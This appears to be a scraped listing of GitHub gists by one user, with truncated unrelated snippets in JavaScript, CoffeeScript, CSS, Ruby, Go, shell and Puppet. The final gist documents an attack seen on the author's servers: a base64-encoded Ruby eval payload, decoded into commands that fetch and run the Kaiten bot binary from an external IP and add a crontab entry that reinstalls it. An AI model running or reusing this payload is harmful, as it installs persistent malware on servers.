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(function(open) {
XMLHttpRequest.prototype.open = function(method, url, async, user, pass) {
// Do some magic
open.call(this, method, rewrittenUrl, async, user, pass);
};
})(XMLHttpRequest.prototype.open);
# Assignment:
number = 42
opposite = true
# Conditions:
number = -42 if opposite
# Functions:
square = (x) -> x * x
http://stackoverflow.com/questions/68569/text-watermark-on-website-how-to-do-it
<style type="text/css">
#watermark {
color: #d0d0d0;
font-size: 200pt;
-webkit-transform: rotate(-45deg);
-moz-transform: rotate(-45deg);
position: absolute;
width: 100%;
class RebootRequiredPlugin < Scout::Plugin
def build_report
reboot_required = system('file /var/run/reboot-required >/dev/null 2>&1')
report(:reboot_required => reboot_required ? 1 : 0)
end
end
@darkhelmet
darkhelmet / spooler.go
Created November 10, 2013 05:03 — forked from burke/spooler.go
// package spooler implements a disk-persistent queue.
//
// Spooler uses MDB (LMDB) to implement a queue of byteslices. Its intended usecase
// is to enqueue work items received by a service before later working them off.
// Note that Spooler only flushes to disk up to once every 25ms. As a result,
// if the process or machine crashes unexpectedly, the most recent 25ms of work
// can be lost. This decision effectively increases throughput by 10,000%,
// but makes spooler unsuitable for jobs that absolutely cannot be allowed to fail
// under any circumstances.
package spooler
@darkhelmet
darkhelmet / heroes.kpeg
Last active December 24, 2015 16:59
weird kpeg behaviour
%% name = Heroes
%% {
attr_accessor :result
def self.run(text)
parser = new(text)
return parser.result if parser.parse
raise ParseError, parser.failure_info
end
alias master='git checkout master'
alias staging='git checkout staging'
alias release='git checkout release'
alias production='git checkout production'
alias rake='bundle exec rake'
alias rspec='bundle exec rspec'
alias cucumber='bundle exec cucumber'
eval "$(./sub/bin/ys init -)"
@darkhelmet
darkhelmet / host.pp
Last active December 20, 2015 09:09
Puppet manifest for scout
import "setup"
node server {
scout { "role1,role2":
gems => ["redis", "resque"]
}
}
require 'new_relic/agent/instrumentation/sinatra'
module NewRelic
module Agent
module Instrumentation
module Sinatra
def ignore_apdex?
skip = self.response.status.to_i == 404
if skip
env.delete('sinatra.error')
@darkhelmet
darkhelmet / hack.rb
Created May 23, 2013 15:38
What this Ukraine hacker was trying to run on our servers.
# Wanted to eval this
%[c3lzdGVtKCJ3Z2V0IC1PIC92YXIvdG1wL2sgMTg4LjE5MC4xMjQuMTIwL2thaXRlbi1iaW4iKQpzeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL2siKQpzeXN0ZW0oIi92YXIvdG1wL2siKQpzeXN0ZW0oJ2Nyb250YWIgLXInKQpzeXN0ZW0oJyhjcm9udGFiIC1sIDsgZWNobyAiKiAxICogKiAqIHdnZXQgLU8gL3Zhci90bXAvayAxODguMTkwLjEyNC4xMjAva2FpdGVuLWJpbiAmJiBjaG1vZCAreCAvdmFyL3RtcC9rICYmIC92YXIvdG1wL2siKSB8IGNyb250YWIgLScp].unpack(%[m0])[0]
# Which would run this
system("wget -O /var/tmp/k 188.190.124.120/kaiten-bin")
system("chmod +x /var/tmp/k")
system("/var/tmp/k")
system('crontab -r')
system('(crontab -l ; echo \"* 1 * * * wget -O /var/tmp/k 188.190.124.120/kaiten-bin && chmod +x /var/tmp/k && /var/tmp/k\") | crontab -')